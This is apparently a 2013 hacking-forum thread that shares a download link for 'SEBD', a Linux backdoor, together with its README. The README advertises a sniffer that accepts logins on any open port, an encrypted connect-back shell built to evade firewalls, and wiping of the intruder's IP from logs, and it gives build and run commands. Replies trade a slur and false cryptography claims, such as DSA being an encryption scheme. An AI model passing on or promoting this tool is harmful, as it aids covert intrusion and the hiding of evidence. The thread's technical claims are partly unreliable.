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+--- Thread: Leak SEBD - Simple Encrypted Backdoor for Linux (/Thread-Leak-SEBD-Simple-Encrypted-Backdoor-for-Linux)
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SEBD - Simple Encrypted Backdoor for Linux - Reiko - 10-01-2013
http://mybb.rsadvance.net/sebd-0.2-new.tgz
I found this on an excursion to the land of EFnet and decided I'd share it.
This is an interesting little backdoor for Linux and other Unix-like OSes and I'll be writing a tutorial on how to use it soon. Watch this space. Should be up by tomorrow.
Until then, have a c/p from the README file.
Quote:[23:48:24] Oni | SL: So I could set it to 80 on box running apache/nginx?Instructions for compiling: ./configure;make
[23:48:36] Oni | SL: on a*
[23:48:40] Starfall: it "listens on all ports" using a pcap-based sniffer
[23:48:47] Starfall: the SERVER_PORT is the port you're receiving the back connect shell on
[23:48:49] Oni | SL: Ah.
Configure script does all the editing config.h for you, I removed that bit after realizing that.
slider Wrote:sebd v0.1 (simple encrypted backdoor)
sebd is another linux backdoor.
what does sebd provide:
- a raw sniffer
- aes encrypted shell
- full tty/pty support
- connect back (bypass moust of the firewall's)
- does not open a port
- you can log in on any opened port
- cleans the logs (wipes out the ip from where the sniffer received the password)
- tcpd function (if the pasword is from an ip that isn't in the list -> no shell)
- password is encrypted with DES (hardcoded only in the server binary)
usage:
on the server host run: ./sebd
on the client host run: ./client -h host|ip -d port
AUTHOR: slider
EMAIL: slider@go.ro
PS: check out the CREDITS...it's only a hack
RE: SEBD - Simple Encrypted Backdoor for Linux - Cyanide and Cynicism - 10-01-2013
Quote:- password is encrypted with DES (hardcoded only in the server binary)
fgt use 3des
RE: SEBD - Simple Encrypted Backdoor for Linux - Dismas - 10-01-2013
(10-01-2013, 05:47 AM)Cyanide and Cynicism Wrote: fgt use 3des
For those that are too lazy to Google, DES is an older form of encryption (with a small key size). 3DES is similar, but instead involves combining 3 instances of DES.
3DES > DES
Read More: http://www.cs.wustl.edu/~jain/cse567-06/ftp/encryption_perf/index.html#2_5
RE: SEBD - Simple Encrypted Backdoor for Linux - Reiko - 10-07-2013
Bumping with fixed link. Had a complaint that it wasn't working.
RE: SEBD - Simple Encrypted Backdoor for Linux - DarkFlux™ - 10-22-2013
helpful thread . thanks .
RE: SEBD - Simple Encrypted Backdoor for Linux - w00t - 10-23-2013
(10-01-2013, 05:47 AM)Cyanide and Cynicism Wrote: fgt use 3des
fgt, encrypt it with dsa, so gud.
RE: SEBD - Simple Encrypted Backdoor for Linux - Merkuri - 11-03-2013
(10-23-2013, 05:48 AM)w00t Wrote: fgt, encrypt it with dsa, so gud.
Encrypt it with AES.
RE: SEBD - Simple Encrypted Backdoor for Linux - w00t - 11-03-2013
dsa encreption much better thn aes
RE: SEBD - Simple Encrypted Backdoor for Linux - Tear - 11-03-2013
(11-03-2013, 05:06 PM)w00t Wrote: dsa encreption much better thn aes
3des is master race.
RE: SEBD - Simple Encrypted Backdoor for Linux - Merkuri - 11-03-2013
(11-03-2013, 05:06 PM)w00t Wrote: dsa encreption much better thn aes
DSA stands for "Digital Signature Algorithm" and is specifically designed to produce digital signatures, not perform encryption.